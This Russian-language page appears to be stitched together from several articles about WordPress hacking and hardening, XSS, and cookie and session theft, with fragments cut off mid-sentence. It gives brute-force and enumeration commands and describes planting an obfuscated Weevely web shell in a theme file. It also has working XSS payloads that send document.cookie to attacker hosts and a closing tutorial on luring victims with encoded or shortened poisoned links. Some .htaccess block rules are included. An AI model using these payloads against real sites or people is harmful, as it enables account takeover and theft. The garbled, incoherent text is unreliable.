Как украсть куки файлы. Кража сессий

WordPress - это удобная блог-платформа для публикации статей и управления ими, на которой базируется огромное число различных сайтов. Из-за своей распространенности эта CMS уже давно является лакомым куском для злоумышленников. К сожалению, базовые настройки не обеспечивают достаточного уровня защиты, оставляя многие дефолтные дырки незакрытыми. В этой статье мы пройдем типичным путем «типового» взлома сайта на WordPress, а также покажем как устранить выявленные уязвимости.

На сегодняшний день WordPress среди систем управления контентом популярнее всего. Его доля составляет 60,4% от общего числа сайтов, использующих CMS-движки. Из них, согласно статистике, 67,3% сайтов базируется на последней версии данного программного обеспечения. Между тем за двенадцать лет существования веб-движка в нем было обнаружено 242 уязвимости различного рода (без учета уязвимостей, найденных в сторонних плагинах и темах). А статистика сторонних дополнений выглядит еще печальней. Так, компания Revisium провела анализ 2350 русифицированных шаблонов для WordPress, взятых из различных источников. В результате они выяснили, что более половины (54%) оказались зараженными веб-шеллами, бэкдорами, blackhat seo («спам») ссылками, а также содержали скрипты с критическими уязвимостями. Поэтому устраивайся поудобней, сейчас мы будем разбираться, как провести аудит сайта на WordPress и устранить найденные недостатки. Использовать будем версию 4.1 (русифицированную).

Первым этапом любого теста обычно бывает сбор информации о цели. И тут очень часто помогает неправильная настройка индексирования сайта, которая позволяет неавторизованным пользователям просматривать содержимое отдельных разделов сайта и, например, получить информацию об установленных плагинах и темах, а также доступ к конфиденциальным данным или резервным копиям баз данных. Чтобы проверить, какие директории видны снаружи, проще всего воспользоваться Гуглом. Достаточно выполнить запрос Google Dorks типа site:example.com intitle:"index of" inurl:/wp-content/ . В операторе inurl: можно указать следующие директории:

/wp-content/ /wp-content/languages/plugins /wp-content/languages/themes /wp-content/plugins/ /wp-content/themes/ /wp-content/uploads/

Если сможешь просмотреть /wp-content/plugins/ , следующий шаг по сбору информации об установленных плагинах и их версиях значительно упрощается. Естественно, запретить индексирование можно с помощью файла robots.txt . Так как по умолчанию он не включен в установочный пакет WordPress, его необходимо создать самому и закинуть в корневую директорию сайта. Мануалов по созданию и работе с файлом robots.txt довольно много, поэтому оставлю эту тему для самоподготовки. Приведу лишь один из возможных вариантов:

User-Agent: * Disallow: /cgi-bin Disallow: /wp-login.php Disallow: /wp-admin/ Disallow: /wp-includes/ Disallow: /wp-content/ Disallow: /wp-content/plugins/ Disallow: /wp-content/themes/ Disallow: /?author=* Allow: /

Если в файлах, хранящихся в папке uploads , имеются сведения конфиденциального характера, добавляем к этому списку строчку: Disallow: /wp-content/uploads/ .
С другой стороны, в файле robots.txt не рекомендуется размещать ссылки на директории, которые были созданы специально для хранения чувствительной информации. Иначе этим самым ты облегчишь злоумышленнику задачу, так как это первое место, куда обычно все заглядывают в поисках «интересненького».

Еще один важный шаг - идентификация версии CMS. Иначе как подобрать подходящий сплоит? Существует три быстрых способа для определения используемой на сайте версии WordPress:

Один из вариантов защиты в данном случае - ограничить доступ к файлам readme.html и ru_RU.po с помощью.htaccess .

Исследованием безопасности WordPress занялись не вчера, поэтому существует достаточное количество инструментов, позволяющих автоматизировать рутинные задачи.

• определение версии и темы с помощью скрипта http-wordpress-info nmap -sV --script http-wordpress-info
• подбор пароля по словарям nmap -p80 --script http-wordpress-brute --script-args "userdb=users.txt,passdb=passwords.txt" example.com

• модуль для определения версии: auxiliary/scanner/http/wordpress_scanner ;
• модуль для определения имени пользователя auxiliary/scanner/http/wordpress_login_enum .

• перечисление установленных плагинов: wpscan --url www.exmple.com --enumerate p ;
• перечисление установленных тем: wpscan --url www.exmple.com --enumerate t ;
• перечисление установленного timthumbs: wpscan --url www.example.com --enumerate tt ;
• определение имени пользователя: wpscan --url www.example.com --enumerate u ;
• подбор пароля по словарю для пользователя admin: wpscan --url www.example.com --wordlist wordlist.txt --username admin ;
• подбор пароля с использованием связки имя пользователя / пароль с числом потоков, равным 50: wpscan --url www.example.com --wordlist wordlist.txt --threads 50 .

Теперь давай соберем информацию об установленных плагинах и темах независимо от того, активированы они или нет. Прежде всего такую информацию можно выудить из исходного кода HTML-страницы, например по JavaScript-ссылкам, из комментариев и ресурсов типа CSS, которые подгружаются на страницу. Это самый простой способ получения информации об установленных компонентах. Например, строчки ниже указывают на используемую тему twentyeleven:

Так как информация о плагинах не всегда отображается в исходном коде HTML-страницы, то обнаружить установленные компоненты можно с помощью утилиты WPScan (см. врезку). Только не забывай, что перебор путей плагинов зафиксируется в логах веб-сервера.
Получив данные об установленных компонентах, уже можно приступать к поиску уязвимостей своими силами либо найти общедоступные эксплойты на ресурсах типа rapid7 или exploit-db .

По умолчанию в WordPress каждому пользователю присваивается уникальный идентификатор, представленный в виде числа: example.com/?author=1 . Перебирая числа, ты и определишь имена пользователей сайта. Учетная запись администратора admin, которая создается в процессе установки WordPress, идет под номером 1, поэтому в качестве защитной меры рекомендуется ее удалить.

Зная имя пользователя, можно попробовать подобрать пароль к панели администрирования. Форма авторизации WordPress на странице wp-login.php весьма информативна (рис. 3), особенно для злоумышленника: при вводе неправильных данных появляются подсказки о неверном имени пользователя или пароле для конкретного пользователя. Разработчикам известно о данной особенности, но ее решили оставить, так как подобные сообщения удобны для пользователей, которые могли забыть свой логин и/или пароль. Проблему подбора пароля можно решить, используя стойкий пароль, состоящий из двенадцати и более символов и включающий буквы верхнего и нижнего регистра, числа и спецсимволы. Или же, например, при помощи плагина Login LockDown.

После того как мы сбрутили пароль, ничто не мешает залить шелл на скомпрометированный веб-ресурс. Для этих целей вполне сгодится фреймворк Weevely , который позволяет генерировать шелл в обфусцированном виде, что делает его обнаружение довольно сложным. Чтобы не вызывать подозрения, полученный код можно вставить в любой файл темы (например, в index.php) через редактор темы консоли WordPress. После чего с помощью того же Weevely можно подключиться к машине жертвы и вызывать различные команды:

Python weevely.py http://test/index.php Pa$$w0rd [+] weevely 3.1.0 [+] Target:test [+] Session: _weevely/sessions/test/index_0.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type:help for more information. weevely> :help

Для запрета доступа к чувствительной информации лучше воспользоваться файлом.htaccess - это файл конфигурации, используемый в Apache Web Server. Рассмотрим возможности этого файла с точки зрения безопасности. С его помощью можно: запретить доступ к директориям и файлам, заблокировать различные SQL-инъекции и вредоносные скрипты. Для этого стандартный файл.htaccess для CMS WordPress 4.1 нужно немного расширить. Чтобы закрыть список файлов и папок, добавляем:

Options +FollowSymLinks -Indexes

RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) заблокирует ссылки, содержащие кодировку Base64. Избавиться от ссылок, содержащих тег :

RewriteCond %{QUERY_STRING} (|%3E)

Противодействовать скриптам, пытающимся установить глобальные переменные или изменить переменную _REQUEST через URL:

RewriteCond %{QUERY_STRING} GLOBALS (=|\[|\%{0,2}) RewriteCond %{QUERY_STRING} _REQUEST (=|\[|\%{0,2})

Для противодействия SQL-инъекциям блокируем запросы к URL, содержащие определенные ключевые слова:

RewriteCond %{query_string} concat.*\( RewriteCond %{query_string} union.*select.*\( RewriteCond %{query_string} union.*all.*select RewriteRule ^(.*)$ index.php

Чтобы испортить жизнь распространенным хакерским утилитам, отфильтровываем определенные user-agent’ы:

SetEnvIf user-agent «Indy Library» stayout=1 SetEnvIf user-agent «libwww-perl» stayout=1 SetEnvIf user-agent «Wget» stayout=1 deny from env=stayout

Неплохо было бы также ограничить и доступ к особо важным файлам, которые хранят конфигурацию или просто могут выдать злоумышленнику какую-то информацию. Можно выделить следующих кандидатов:

• wp-config.php , содержит имя БД, имя пользователя, пароль и префикс таблиц;
• .htaccess ;
• readme.html и ru_RU.po , которые содержат версию WordPress;
• install.php .

Делается это следующим образом:

Order Allow,Deny Deny from all

Причем файл.htaccess , содержащий эти строки, должен находиться в той же директории, что и защищаемый файл. Затем запрещаем перечисление пользователей (помнишь, чуть выше мы говорили о том, как легко получить список пользователей?):

RewriteCond %{QUERY_STRING} author=\d RewriteRule ^ /?

Так, что еще? Можно разрешить вход только с указанных IP-адресов. Для этого создай файл.htaccess в папке wp-admin со следующими правилами:

AuthUserFile /dev/null AuthGroupFile /dev/null AuthName "Access Control" AuthType Basic order deny,allow deny from all allow from 178.178.178.178 # IP домашнего компа allow from 248.248.248.248 # IP рабочего компа

Метод не слишком гибкий и применим только в случае, если ты работаешь с ограниченным числом фиксированных IP-адресов. В противном случае рекомендуется установить пароль на папку wp-admin через хостинг-панель (при наличии такого функционала).

К тому, что было сказано выше, можно добавить следующие рекомендации. Во-первых, использовать только актуальные версии WordPress и его компонентов - это позволит устранить известные уязвимости. Во-вторых, удалить неиспользуемые плагины и темы, которые также могут быть проэксплуатированы. В-третьих, скачивать темы и плагины WordPress из достоверных источников, например с сайтов разработчиков и официального сайта WordPress. Как и домашний ПК, нужно периодически проверять свой веб-ресурс веб-антивирусом, например AI-Bolit . Если у тебя есть доступ к веб-серверу, настрой права доступа к файлам и каталогам. Как правило, WordPress устанавливает все необходимые права на стадии установки, но в случае необходимости chmod можно выставить вручную. Для каталогов - chmod 755 , для файлов - chmod 644 . Убедись, что права 777 присвоены только тем объектам, которые в этом нуждаются (иногда это необходимо для нормальной работы некоторых плагинов). Если WordPress перестал нормально функционировать, поэкспериментируй с правами доступа: сначала попробуй 755, затем 766 и, наконец, 777. Для всех htaccess-файлов выставь chmod 444 (только чтение). Если сайт перестанет работать, попробуй поэкспериментировать со значениями 400, 440, 444, 600, 640, 644.

Перемести файл wp-config.php . Данный файл содержит информацию о настройках MySQL, префикс таблиц, секретные ключи и прочее. Поэтому его необходимо перенести для того, чтобы файл не был доступен из интернета. Если сайт не располагается в папке public_html , то перенеси файл wp-config.php в папку уровнем выше, и WordPress автоматически найдет его в этой корневой директории (применимо, если на хостинге имеется только один сайт на этой CMS).

Чтобы усложнить заливку шелла, отключи возможность редактирования темы через консоль WordPress. Для этого вставь следующую строчку в файл wp-config.php: define("DISALLOW_FILE_EDIT", true); .

Еще одно слабое место - файл install.php (что в папке wp-admin). Поэтому его лучше удалить, заблокировать или изменить. Выполни один из вариантов:

Помимо уведомления посетителей сайта, данный скрипт выполняет следующие действия:

• отправляет клиенту и поисковым системам код состояния 503 («Сервис временно недоступен»);
• указывает промежуток времени, через который клиенты и поисковые системы могут вернуться на сайт (настраиваемый параметр);
• уведомляет по электронной почте о проблеме с БД для принятия соответствующих мер.

Дело в том, что в ранних версиях WordPress (
external.menuArguments.clipboardData.setData("Text" , external.menuArguments.document.cookie);

external.menuArguments.document.cookie= "testname=testvalue; path=/; domain=testdomain.ru" ;
alert(external.menuArguments.document.cookie);

Шаг 4: Заходим на интересующий нас интернет-сайт.

Шаг 5: Правой кнопкой мыши кликам на свободном месте странице и выбираем пункт меню «Работа с Cookies» . Разрешаем доступ к буферу обмена. В буфер обмена попадут Ваши cookie данного сайт. Можете вставить их блокнот (notepad) и посмотреть.

Шаг 6: Для изменения некоторого cookie редактируем файл C:\IE_ext.htm, заменяя testname на имя cookie, testvalue - на его значение, testdomain.ru – на домен сайта. При необходимости добавляем еще подобные строчки. Для удобства контроля я добавил в скрипт вывод текущих cookie до и после изменения: alert(external.menuArguments.document.cookie);

Шаг 7: Выполняем еще раз Шаг 5, а потом обновляем страницу.

Итог: мы зайдем на данный интернет-ресурс с обновленными cookie.

Как украсть cookie с помощью JavaScript?

Если злоумышленнику удалось найти возможность выполнить произвольный JavaScript-скрипт на компьютере жертвы, то прочитать текущие cookie он может очень легко. Пример:

var str= document.cookie;

Но сможет ли он их передать на свой сайт, ведь, как я указывал ранее, JavaScript-скрипт не сможет без дополнительного подтверждения обратиться к сайту, находящемуся в другом домене? Оказывается, JavaScript-скрипт может загрузить любую картинку, находящуюся на любом http-сервере. При этом передать любую текстовую информацию в запросе на загрузку этой картинке. Пример: http://hackersite.ru/xss.jpg?text_info Поэтому если выполнить такой код:

var img=new Image();

img.src="http://hackersite.ru/xss.jpg?" + encodeURI(document.cookie);

Как обрабатывать такие запросы на загрузку «картинки»?

Злоумышленнику нужно лишь найти хостинг с поддержкой php и разместить там код подобный такому:

Тогда все параметры запросов к этому скрипту будут сохраняться в файле log.txt . Осталось лишь в ранее описанном JavaScript-скрипте заменить http://hackersite.ru/xss.jpg на путь к данному php-скрипту.

Я показал лишь самый простой способ использования XSS-уязвимостей. Но это доказывает, что наличие хотя бы одной такой уязвимостей на многопользовательском интернет-сайте может позволяет злоумышленнику пользоваться его ресурсами от Вашего имени.

В результате успешной авторизации скрипту становится доступными значения переменных из суперглобального массива $_SESSION, по наличию которых скрипт предоставляет доступ к некоторому ресурсу, например, вход на панель администрирования сайта.

Проблема заключается в том, что если злоумышленник каким-либо образом узнает SID другого пользователя, он сможет подставить его в свои cookies, или адресную строку браузера и войти на сайт с правами данного пользователя.

Несколько лет назад имело место несколько скандалов, когда в системах удалённого управления банковским счётом уникальный номер (SID) генерировался просто прибавлением единицы к последнему использованному значению. Быстрая авторизация приводила к выдачи двух значений SID, допустим 40346 и 40348. Подстановка номера 40347 позволяла получить доступ к чужому счёту:).

В настоящее время SID представляет уникальную последовательность цифр и букв, не привязанную к счётчику. Но как же злоумышленик узнает чужой SID?

Существуют два самых распространенных варианта:

1. Например, владелец сессии сам показал ее, неосторожно оставив ссылку такого типа где-нибудь на форуме или гостевой книге.

http://forum.dklab.ru/?sid=

Переход по этому адресу, автоматически наделяет злоумышленника правами пользователя для которого выделена сессия с идентификатором.
Конечно, сессия пользователя уничтожается при отсутствии активности через некоторое время. И поэтому злоумышленнику следует поторопиться:). С другой стороны тотальная распространённость пауков (спайдеров) позволяет организовать целеноправленный автоматический поиск таких ссылок.

2. Если даже сессия не указана явно в строке браузера, а хранится в Куках. У злоумышленика все равно есть возможность завладеть идентификатором. Рассмотрим небольшой скрипт простейшей гостевой книги.

Текст:

Содержимое обработчика addmsg.php представлено ниже

Обратите внимание - в скрипте явно пропущен вызов функции htmlspecialchars(), которая преобразует символы < в < и > в > в результате чего, злоумышленник может вставить в текст любые HTML-теги и скрипты JavaScript.

window.open("http://hacker.com/get.php?"+document.cookie, "new")

И что мы получаем? Маленькая оплошность (казалось бы пропустили всего лишь какой-то htmlspecialchars() перед выводом сообщения в браузер), которая позволяет загружать в новом окне страницу злоумышленика, передавая ей значения из cookies.
Для борьбы с уязвимостями такого рода лучше всего бороться "устойчивыми" методами, действуя по принципу "всё что не разрешено - запрещено". Не следует скрывать SID и подвергать текст многоэтапным проверкам - вероятность создания ошибок в этом случае только возрастает. Более надёжным в этом случае является метод привязки SID к IP-адресу, пользователя владеющего сессией. Такой способ широко распространен во многих известных форумах, например phpBB.
Скрипт авторизации

Тогда скрипт, который предоставляет доступ к определенному ресурсу, может содержать следующий код

Т.е. теперь с данной сессией может работать только тот пользователь, IP-адрес которого совпадает с IP-адресом, переданным серверу при авторизации. Если злоумышленик перехватит сессию, IP-адрес то у него другой:) - поэтому в доступе ему будет отказано.

Данный метод не является универсальным и у него тоже есть слабые места.

Мой знакомый забыл пароль к одному сайту. Однако ранее он поставил при входе флажок «Запомнить меня» в браузере Google Chrome, что позволяло ему заходить на сайт под своим аккаунтом. Мне прилетел вопрос, можно ли перенести это волшебное состояние на другой компьютер. Правильнее, конечно, было бы сменить или восстановить пароль, но сделать это знакомый не мог по причинам, не относящимся к делу.

Несмотря на многообразие выбора современного софта, программы для взлома на андроид лучше, чем intercepter ng найти сложно. Первым критерием, указывающим в пользу данного продукта, является его реальная работоспособность. Большинство предлагаемых снифферов в сети – только имитация, не выполняющая заявленных функций.

Следующими положительными факторами является многофункциональность приложения и охват широкой аудитории пользователей.

Начнём по порядку. Cookies или » куки » — это очень маленькие текстовые файлики — закладки с информацией.

Эту информацию веб — сервер передает на браузер пользователя. где эта информация и хранится до востребования. Не совсем понятно. Ну. хорошо.

постараюсь ещё проще. Смотрите. вы зарегистрировались на каком — либо сайте.

В момент регистрации и создаются эти самые » куки «.

Вот они — то и являются.

Программа прослушивает трафик в WiFi-сети, перехватывает cookies и реплицирует сессию пользователя в вашем браузере, повторяя запросы с его учётными данными. Автор Мэтью Салливан (Matthew Sullivan) провёл презентацию программы 30 сентября на конференции хакеров Derbycon. Прямо во время выступления Мэтью Салливан перехватил по WiFi незащищённую сессию с Google одного из посетителей конференции.

Если, находясь на странице сайта, Вы введёте в адресную строку браузера Firefox или Opera следующий текст: javasсript:document.write(document.сооkiе); то увидите нечто вроде: remixAdminsBar=0; remixGroupType=0; remixpass=******************; remixwall=0; remixInformation=0; remixMembersBar=0; remixdescription=0; remixautobookmark=8; remixemail=*******; remixmid=23363; remixchk=5; remixaudios=0; remixlinksBar=1; remixOfficersBar=0; remixPhotosBar=0; remixTopicsBar=0; remixvideos=0; remixRecentNews=0; remixAlbumsBar=0 Внимание! .

XSS – это тип уязвимости программного обеспечения, свойственный Web-приложениям, который позволяет атакующему внедрить клиентский сценарий в web-страницы, просматриваемые другими пользователями В Wikipedia содержится следующее определение для XSS: «Межсайтовый скритинг (XSS) – это тип уязвимости программного обеспечения, свойственный Web-приложениям (путем обхода ограничений безопасности браузера)», который позволяет атакующему внедрить клиентский сценарий в web-страницы, просматриваемые другими пользователями.

Не так давно я писал статью о том, как сделать регистрацию и авторизацию пользователей на сайте.

«. В этой статье я собираюсь разобрать разницу между сессиями и cookie . чтобы Вы окончательно определились с выбором.

Cookies. Нет, речь вовсе не о печенье, речь о вашей безопасности. Вот заходите вы свой любимый сайт «vkontakte» (или, например, посмотреть почту) на чужом компьютере, отказываетесь от опции «сохранить пароль», радостно просматриваете почту и уходите. И не задумываетесь о том, что под вашим именем теперь можно зайти в социальную сеть или почту.

Я даже не рассматриваю ситуацию с программой, которая запомнила пароль без вашего ведома. Это уже взлом сознательный, и вы, наверное, будете подозревать, что что-то такое может случиться и не зайдете на таком компьютере на любимый сайт. Но речь может идти о простом человеческом любопытстве — были в гостях у знакомых, а тут раз, и они получают возможность почитать вашу почту. Вы уверены, что они откажутся от такой возможности? А вы не боитесь, что что-то выплывет? В любом случае, я отложу вопросы нравственности и просто поговорю о том, каким образом созраняется на компьютере информация о том, что вас теперь можно пустить на какой-то сайт не запрашивая пароля.

И имя этой технологии — cookies.

А началось все вот с чего. Протокол http по которому, собственно, вы и просматриваете сайты (включая этот) изначально не предполагал возможности поддержания соединения. То есть, грубо говоря, вы отправляете запрос на сайт, получаете ответ, он отображается на экране, а дальше сервер ничего о вас не помнит. Это, конечно, хорошо, когда сайт чисто информационный и не должен ничего о вас помнить, но мы же живем в веке Web 2.0 😉 Естественное развитие протокола — POST и GET запросы, когда вы отправляете какие-то данные, сервер может записать их в базу данных, но и этого оказывается недостаточно.

Рассмотрим очень простой пример. Форум. Вот вы зарегистрировались, и на форуме есть запись о том, что есть такой-то пользователь с таким-то паролем и какими-то еще дополнительными данными. Но вот теперь вы заходите на форум и авторизуетесь — вводите свой пароль. Где-то должна сохраниться информация о том, что вы авторизовались. На сервере? Конечно, нет! На сервере невозможно сохранить информацию о том, что именно с вашего компьютера была произведена авторизация — он не сможет отличить вас от кого-то другого (даже ваш IP-адрес вас не идентифицирует однозначно)! Таким образом, информацию о том, что произошла авторизация нужно хранить на вашем компьютере. Вот зачем нужны cookies, именно для этого они и были созданы.

Cookie — это маленькая запись на вашем компьютере, хранящая информацию о сайте, который вы посетили. При авторизации создается подобная запись, после чего вы уже можете гулять по форуму, и он будет вас опознавать. Однако, это уже будет происходить автоматически — благодаря информации, хранящейся в cookie — так что сделать вид, что вы являетесь главным администратором форума, все равно не получится в обход проверки пароля.

Теперь можно вернуться к тому, с чего начиналась эта статья. Если вы авторизовались где-то даже не сохраняя пароль, то может случиться так, что на компьютере создалась запись, позволяющая теперь входить на этот ресурс под вашим именем без авторизации. Такая запись сама устареет через некоторое время, но можно ее принудительно очистить. В каждом браузере это делается по-своему, я покажу, как это можно сделать в моем любимом Google Chrome. Открываем параметры

Переходим на вкладку «расширенные» и находим кнопку «показать Cookies»

Теперь, конечно, можно удалить и все cookies, но это может расстроить хозяина компьютера. Поэтому, например, в верхнем поле можно ввести название интересуещего вас сайта

Тогда можно произвести очистку только cookies, относящихся к этому сайту. Можете попробовать на моем. При этом если вы авторизуетесь на моем форуме, а затем очистите cookies, то информация об авторизации будет забыта. Попробуйте!

comments powered by

1.Что такое XSS(англ. Сross Site Sсriрting - «межсайтовый скриптинг»)
Уязвимость типа XSS позволяет вставить произвольный javascript код в тело страницы. Атака XSS отличается от других(напр. SQL injection или PHP injection) тем, что действует не на сервер, а на клиента.

С ее помощью нельзя посмотреть таблицы БД, залить шелл и т.п. Чаще всего XSS испульзуют для кражи cookies.
Cookies(Куки) — небольшой фрагмент данных, созданный веб-сервером и хранимый на компьютере пользователя в виде файла. Обычно куки используются для хранения учетных записей, и, чаще всего, в них находятся закодированные пароль, логин, и идентификатор сессии.(хотя далеко не всегда)
XSS бывают двух типов, активные и пассивные.

Пассивные XSS требуют от жертвы непосредственного участия, например перейти по ссылке, содержащей javascript код. При использовании этого типа XSS не обойтись без СИ(Социальная Инженерия)

Активные XSS не требуют никакого участия со стороны жертвы, ей достаточно лишь зайти на страницу с XSS. Активные XSS могут быть, например, в сообщениях на форумах, чатах, в добавлении новости и т.п.

2.Поиск XSS
В этом пункте я расскажу как найти xss

2.1.Пассивные XSS
Чтобы найти пассивную XSS достаточно подставить в форму ввода alert(‘xss’) если скрипт сработал и появилось сообщение "xss" значит уязвимость присутствует, если скрипт не сработал можно еще попробывать ">alert(), это, наверное самая распространенная xss уязвимость. Если ни тот ни другой скрипт не сработал то уязвимости, скорее всего, нет.
Рассмотрим на примере.
http://miss.rambler.ru/srch/?sort=0& … amp;words=
Видите форму "искать"? вставим туда ">alert() и нажмем "найти"
Вылетело окошко c xss, значит xss присутствует.(возможно, на момент прочтения вами данной статьи эту xss уже пофисят)

2.2.Активные XSS
Такие ксс могут быть, например, в полях профиля, при добавлении новости в названии новости и в самой новости(реже), в сообщениях на форумах/чатах/гостивухах при включенном html. Тут все просто, вписываем в поля скрипт из предыдущего подпункта, и если сообщение вывелось на экран, то уязвимость присутствует.
Рассморим xss в BB тегах на форумах.
можно попробовать тупо вставить javascript код в тег, например так:
javasсriрt:alert(‘xss’)
У некоторых тегов есть параметры, например у тега есть параметры dynsrc и lowsrc, попробуем подставить код так:
http://www.site.ru/image.jpg dynsrc=javascript:alert(‘xss’)
Если скрипт сработал, xss есть

3.Использование XSS для кражи cookies
Теперь самое вкусное))))
Для того чтобы украсть куки нам понадобится веб-сниффер, можно установить какой-нибудь сниффер на свой хостинг, а можно воспользоваться онлайн-сниффером, которых сейчас полно.
Чтобы украсть куки через пассивеую XSS надо чтобы жертва прошла по ядовитой ссылке. Чтобы украсть куки мы будем исользовать вместо alert(‘xss’) другой скрипт:
img = new Image();


подставляем скрипт в ссылку и даем жертве перейти по ней, смотри лог сниффера и радуемся.
Рассмотрим на примере.
Возьмем ту XSS на рамблере из предыдущего пункта.
Вставляем
">
img = new Image();
img.src = "адрес картинки-сниффера"+document.cookie;

в форму поиска, нажимаем "найти", смотрим адресную строку и видим:

http://miss.rambler.ru/srch/?sort=0& … &words =">
Кидаем эту ссылку жертве и радуемся кукам.
Увидев такую ссылку жертва может что-то заподозрить, поэтому желательно закодировать
">img = new Image();img.src = "адрес картинки-сниффера"+document.cookie;
в URL Или воспользоваться сервисами типа http://tinyurl.com/
Перейдем к активным XSS, тут все просто, вместо alert() вставляем img = new Image();img.src = "адрес картинки-сниффера"+document.cookie;

Теперь у нас есть куки. Но что с ними делать? Все просто, их надо подставить вместо своих. В браузере Opera есть встроеный редактор cookies(инструменты->дополнительно->управление cookies), для firefox есть плагин(не помню как называется, юзайте гугл)
На этом пока все, возможно статья будет дополняться